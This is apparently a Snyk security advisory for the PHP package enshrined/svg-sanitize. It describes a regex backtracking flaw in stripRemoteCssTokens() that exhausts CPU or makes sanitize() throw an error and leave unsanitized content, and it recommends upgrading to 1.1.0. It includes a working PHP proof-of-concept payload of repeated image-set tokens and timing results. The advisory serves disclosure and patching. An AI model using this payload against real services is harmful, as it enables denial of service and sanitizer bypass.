Improper Check for Unusual or Exceptional Conditions Affecting enshrined/svg-sanitize package, versions >=1.0.0, <1.1.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.38% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-ENSHRINEDSVGSANITIZE-22193074
  • published4 Nov 2026
  • disclosed3 Nov 2026
  • creditUnknown

Introduced: 3 Nov 2026

NewCVE-2026-121445  (opens in a new tab)
CWE-754  (opens in a new tab)

How to fix?

Upgrade enshrined/svg-sanitize to version 1.1.0 or higher.

Overview

enshrined/svg-sanitize is a SVG sanitizer for PHP

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions via the image-set pattern in stripRemoteCssTokens() in src/Sanitizer.php. The greedy [^)}\r\n]* quantifier in the image-set regular expression causes super-linear backtracking when an SVG contains many unclosed image-set(' tokens, allowing an attacker to exhaust CPU with an input under 1 MB. Additionally, when PCRE backtrack or JIT limits are reached, preg_replace() returns null, which is passed back through stripRemoteCssReferences() and assigned to DOMNode::$textContent, causing sanitize() to throw a TypeError instead of returning false and leaving unsanitized content in place.

Note: This is only exploitable when removeRemoteReferences(true) is enabled.

PoC

Run on PHP 8.3.32 with PCRE2 10.47 and pcre.jit=1:

$s = new enshrined\svgSanitize\Sanitizer();
$s->removeRemoteReferences(true);
foreach ([20000, 30000, 40000, 50000] as $n) {
    $svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>' . str_repeat("-webkit-image-set('", $n) . '</style></svg>';
    $t = microtime(true);
    try { $s->sanitize($svg); printf("%d: %.2fs\n", $n, microtime(true) - $t); }
    catch (Throwable $e) { printf("%d: %s: %s\n", $n, get_class($e), $e->getMessage()); }
}

Measured:

Repetitions Input size Result
20000 380 KB 0.00 s
30000 570 KB 7.93 s
40000 760 KB 34.7 s
50000 950 KB TypeError: Cannot assign null to property DOMNode::$textContent of type string

The style attribute form behaves the same way up to a point: <rect style="..."> takes 3.98 s at 30000. At 50000 the attribute is dropped, so it fails safe there.

The thresholds depend on the PCRE build, pcre.backtrack_limit and the JIT stack size. The quadratic shape does not.

Note: Run on PHP 8.3.32 with PCRE2 10.47 and pcre.jit=1.

CVSS Base Scores

version 4.0
version 3.1